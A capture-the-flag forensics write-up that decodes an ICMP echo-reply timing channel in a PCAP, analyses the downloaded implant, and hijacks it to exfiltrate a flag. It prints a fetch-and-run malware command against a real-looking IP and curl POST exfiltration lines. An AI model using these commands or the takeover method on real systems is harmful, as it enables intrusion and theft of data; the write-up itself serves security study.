Плоскоссан

Platform: Alfactf | Category: Forensics | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-26 | Status: Solved Techniques: c2_binary_analysis, delayed_echo_reply_control, http_post_exfiltration, icmp_timing_channel_decoding, implant_retargeting

Summary

Task: analyze an ICMP-only PCAP where commands are hidden in echo-reply timing, recover the second-stage implant logic, retarget the bot with add <ip>, then control it via delayed ICMP replies and exfiltrate /app/flag.txt over HTTP.

Recon

Port scan

 bash read-only • copy allowed Copy
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: alfactf | ID: 20260426_alfactf_ploskossan
• Tags: pcap, malware, covert_channel, exfiltration, icmp, command_and_control, timing_channel
• Indicators: pcap contains only ICMP echo request/reply traffic, useful bits are encoded in reply timing, decoded command downloads a second-stage client, client accepts add <ip> in bot-session and exec in link-session, flag can be exfiltrated with curl -d@/app/flag.txt
• Source: 20260426_alfactf_ploskossan.md

Foothold

Vulnerability / Misconfiguration

1. c2_binary_analysis
2. delayed_echo_reply_control
3. http_post_exfiltration
4. icmp_timing_channel_decoding
5. implant_retargeting

 bash read-only • copy allowed Copy
<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

 bash read-only • copy allowed Copy
sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

 bash read-only • copy allowed Copy
<command>

Flags

Key Takeaways / Lessons

• c2_binary_analysis
• delayed_echo_reply_control
• http_post_exfiltration
• icmp_timing_channel_decoding
• implant_retargeting
• Tags: pcap, malware, covert_channel, exfiltration, icmp, command_and_control, timing_channel

Original Writeup

<details><summary>Click to expand original content</summary>

Category: forensics / network / malware
Status: solved
Flag: alfa{REDACTED}

Summary

The PCAP contains only ICMP echo request/reply traffic between the victim and a controller. The useful data is hidden in the reply timing:

• ~0.1s = bit 0
• ~0.5s = bit 1
• ~0.3s = sync / frame separator

Decoding the capture reveals two NUL-terminated strings:

 text read-only • copy allowed Copy
ok
exec curl -o /tmp/.x http://157.180.44.191:8080/client_bin; chmod +x /tmp/.x; /tmp/.x; rm -f /tmp/.x

So the original controller used ICMP timing to instruct the victim to fetch and run a second-stage binary.

Stage 1: Decode the timing channel

The capture has only two flows:

• 46.62.209.189 -> 157.180.44.191 ICMP echo request
• 157.180.44.191 -> 46.62.209.189 ICMP echo reply

If we pair request/reply packets by ICMP id/seq and measure the delay, the timing stream splits into frames separated by ~0.3s. Inside a frame:

• delay < 0.3s → 0
• delay >= 0.3s → 1

Reading 8 bits MSB-first reconstructs the command strings above.

Stage 2: Analyze the downloaded binary

The URL from the decoded command serves an ELF binary called client_bin.

Useful strings/symbols show the protocol logic:

• add
• exec
• server exec ignored: %s
• exec from %s mid=%d: %s
• send_some_request
• send_some_reply
• /bin/bash

This reveals two modes:

Bot session

The implant can receive a timing-encoded bot command directly. The important one is:

 text read-only • copy allowed Copy
add <ip>

After receiving add <ip>, the victim starts pinging that IP itself.

Link session

Once the victim is pinging the chosen host, that host can reply with delayed ICMP echo replies. In this mode, exec ... is accepted and executed.

So the attack is:

1. send add <our-public-ip> to the victim;
2. wait for the victim to begin ICMP requests to us;
3. answer with delayed ICMP replies encoding exec ...;
4. exfiltrate command output over HTTP because output is not returned through ICMP.

Stage 3: Take over the implant

To reproduce the exploit, a Linux VPS with a public IPv4 address was used.

One critical step is disabling normal kernel ICMP echo replies so they do not break the timing channel:

 bash read-only • copy allowed Copy
sysctl -w net.ipv4.icmp_echo_ignore_all=1

The custom controller must send ICMP echo-reply packets that preserve:

• ICMP id
• ICMP seq
• the original ICMP payload

Only the timing changes.

Then a bot command is sent to retarget the implant:

 text read-only • copy allowed Copy
add <VPS_IP>

After that, the victim begins pinging the VPS and can be controlled through delayed ICMP replies.

Stage 4: Verify code execution

A short probe command was used first:

 text read-only • copy allowed Copy
exec curl http://<VPS_IP>/x1

This produced a request from the victim to the HTTP listener, confirming that the retargeting and ICMP controller both worked.

For repeated commands, sending exec ... without an initial ok frame was the most reliable behavior in reproduction.

Stage 5: Exfiltrate the flag

The participant solution suggested the flag path was /app/flag.txt. The final command used was:

 text read-only • copy allowed Copy
exec curl -d@/app/flag.txt http://<VPS_IP>/

The HTTP listener received the POST body:

 text read-only • copy allowed Copy
alfa{REDACTED}

Minimal reproduction flow

1. Decode the PCAP timing channel.
2. Download and inspect client_bin.
3. Start a public HTTP listener.
4. Disable kernel ICMP echo replies on the VPS.
5. Send add <VPS_IP> to the victim.
6. Wait for victim ICMP requests.
7. Reply with delayed echo replies encoding exec curl -d@/app/flag.txt http://<VPS_IP>/.
8. Read the flag from the HTTP POST body.

Notes

• The public VPS IP and domain used during reproduction are intentionally omitted.
• The writeup keeps the operational setup generic as <VPS_IP>.

</details>

---

signed by XESXOR